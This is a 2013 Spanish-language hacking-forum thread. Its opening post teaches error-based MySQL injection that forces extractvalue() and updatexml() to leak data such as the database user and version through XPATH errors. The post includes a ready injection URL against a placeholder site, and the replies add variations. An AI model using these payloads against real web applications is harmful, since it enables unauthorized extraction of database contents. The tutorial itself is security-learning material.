Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: q3rv0 en Julio 26, 2013, 02:17:37 PM

Título: MYSQLI EB con extractvalue() and updatexml()
Publicado por: q3rv0 en Julio 26, 2013, 02:17:37 PM
MYSQLI EB con extractvalue()


Quien conozca de inyecciones sabe bien que para explotar una Mysqli error based  es necesario utitlizar las funciones floor() y rand() .


(http://i.imgur.com/SjsNAze.png?1)

Pero hay otra manera que se basa en aprovechar otro tipo de error, incluso es mucho mas sencilla de interpretar ademas de ser un vector corto y eficaz.

Leyendo el blog de Dmitry Evteev en una entrada que habia publicado en el 2009 (bastante viejita ya), encontre una forma de explotar un error based de una manera que llamo poderosamente mi atencion.

La funcion extractvalue() sirve para extraer valores de un elemento XML, por ejemplo tenemos la siguiente cadena:

Código (xml) [Seleccionar]
<b>q3rv0</b>

Si quieramos extraer la palabra q3rv0 lo realizariamos de la siguiente manera.

Código (mysql) [Seleccionar]
mysql> select extractvalue('<b>q3rv0</b>', '/b');
+------------------------------------+
| extractvalue('<b>q3rv0</b>', '/b') |
+------------------------------------+
| q3rv0                              |
+------------------------------------+
1 row in set (0.00 sec)

mysql>


La manera de aprovechar esta funcion para que nos devuelva informacion es obligarla a realizar un error de sintaxis.

Que pasa si introducimos la funcion user() en el argumento que es utilizado para extraer ciertos valores.
Código (mysql) [Seleccionar]

mysql> select extractvalue('<b>q3rv0</b>', user());
ERROR 1105 (HY000): XPATH syntax error: '@localhost'


Como vemos nos arroja el error, ademas del usuarios en la db.

El problema es que lo muestra entrecortado, para eso vamos a concatenar la salida.
Código (mysql) [Seleccionar]

mysql> select extractvalue('<b>q3rv0</b>', concat(0x7e, user()));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'


Como podemos llevarla acabo mediante una inyeccion?

De la siguiente manera.

http://www.webvuln.com/negocio.php?id=60 union select extractvalue(1, concat(0x7e, version()))--

(http://i.imgur.com/4eEgNDG.png?1)





Mysqli EB con updatexml()

Para este tipo de metodo utilizaremos la funcion llamada updatexml(), los creditos se los lleva Arthusu por la info.

Dicha funcion sirve para actualizar un elemento xml por otro.

Tenemos el siguiente codigo.

Código (xml) [Seleccionar]
<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>

La sintaxis de updatexml() es la siguiente:

Código (mysql) [Seleccionar]
updatexml('cadena', 'xpath_expr', 'cadena actualizada')

Entonces si quisieramos actualizar la porcion de codigo <h1>underc0de</h1> y cambiarlo por <h1>underc0de Rulz</h1> lo hariamos de la siguiente manera.

Código (mysql) [Seleccionar]
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>');
+--------------------------------------------------------------------------------------------------------------+
| updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>') |
+--------------------------------------------------------------------------------------------------------------+
| <b>jlkjslakjslka</b><h1>Underc0de Rulz</h1><i>kjaslkjalskjlaksj</i>                                          |
+--------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql>


Entonces para generar un error en la funcion podemos reemplazar el xpath_expr por nuestra consulta deseada.
Código (mysql) [Seleccionar]

mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',user(), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql>


Concatenamos y obtenemos el resultado completo.

Código (mysql) [Seleccionar]
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',concat(0x7e, user()), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
mysql>



(http://i.imgur.com/L4sukjn.png?1)


Referencia: http://devteev.blogspot.com.ar/2009/10/advanced-sql-injection-lab-full-pack.html
Título: Re:MYSQLI EB con extractvalue()
Publicado por: naile en Julio 26, 2013, 03:03:35 PM
Muy bueno, no conocía ese método.
Título: Re:MYSQLI EB con extractvalue()
Publicado por: M5f3r0 en Julio 26, 2013, 04:28:24 PM
Excelente, yo también desconocía de esto. Sigue así!

(http://i.imgur.com/ytoKWJB.png)

;D Saludos.
Título: Re:MYSQLI EB con extractvalue()
Publicado por: Muppet en Julio 26, 2013, 11:52:08 PM
Muy bueno, te felicito!
Título: Re:MYSQLI EB con extractvalue()
Publicado por: arthusu en Julio 27, 2013, 12:25:56 AM
Muy bueno q3rv0 +Karma por cierto no es necesario usar union select puedes usar un and  :P ademas no solo puede usar extractvalue sino tambien updatexml, salu2 bro :-) buen post :P
Título: Re:MYSQLI EB con extractvalue()
Publicado por: q3rv0 en Julio 27, 2013, 04:59:16 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy bueno q3rv0 +Karma por cierto no es necesario usar union select puedes usar un and  :P ademas no solo puede usar extractvalue sino tambien updatexml, salu2 bro :-) buen post :P

Actualizado!

Gracias bro por la info